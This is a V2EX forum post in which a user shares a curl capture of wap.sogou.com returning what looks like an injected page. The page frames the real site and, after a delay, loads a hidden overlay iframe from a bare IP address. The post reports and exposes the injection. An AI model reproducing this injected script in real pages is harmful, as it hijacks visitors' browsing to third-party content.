国内老家机器上用 curl 模拟手机访问的脚本, 定期跑, 这次抓到的内容竟然带 fuk 字样. 代码里换行我随手加的
* TCP_NODELAY set
* Connected to wap.sogou.com (111.202.101.46) port 80 (#0)
> GET / HTTP/1.1
> Host: wap.sogou.com
> Connection: keep-alive
> Upgrade-Insecure-Requests: 1
> User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Mobile Safari/537.36
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
> DNT: 1
> Accept-Encoding: gzip, deflate, sdch
> Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4
>
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=utf-8
< Connection: close
< Expires: 0
< Cache-control: no-store,no-cache,must-revalidate,post-check=0,pre-check=0
< Content-Encoding:gzip
< Content-Length:947
<
* Closing connection 0
<!DOCTYPE HTML>
<html>
<head>
<meta name="viewport" content="width=device-width, minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"/>
<title></title>
<style>body {margin:0;color:#000;overflow:hidden;padding:0;height:100%;font-family:Arial}.c{position: absolute; left: 0px; top: 0px; display: inline-block; width: 5px; height: 5px; overflow: hidden; background: rgba(0,0,0,.2); border: 1px solid #eee; border-radius: 15px; padding: 5px;}.c.h::before, .c.h::after { height: 1px;}.c::before { transform: rotate(45deg);}.c::after { transform: rotate(-45deg);}.c::before, .c::after { content: ''; position: absolute; height: 2px; width: 100%; top: 50%; left: 0; margin-top: 0px; background: #fff;}#x{position:fixed;z-index:2;right:15px;bottom:20%;width:80px;height:80px}#i{display:block; position:absolute; z-index:1; width:100%; height:100%}</style>
</head>
<body onLoad=a7.u()>
<div id=i><iframe id='m' width='100%' height='100%' frameborder='0' ></iframe></div>
<div id=x style="display:none;">
<a class="c h" onClick=a7.c()></a>
<iframe id=a width=80 height=80 scrolling=no frameborder=0 sandbox="allow-same-origin allow-scripts allow-popups"></iframe>
</div>
<script>
(function(w){var a7= w.a7 || {} ;var d=document;a7.u = function() {
var f = d.location.href; var ua = navigator.userAgent.toLowerCase(); var im = d.getElementById("m"); im.src=f+(f.indexOf("?")<0 ? '?':'&')+'_t_t_t='+Math.random(); if (ua.indexOf("iphone") > 0) {im.width=window.innerWidth;im.scrolling="no";}; };a7.c = function() {d.getElementById('x').style.display="none";};w.a7 = a7;})(window);setTimeout(function()
{document.getElementById('a').src = 'http://123.56.152.96/pagefuknihdngs';},100);setTimeout(function(){document.getElementById('x').style.display = 'block';},1000);
</script></body></html>
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.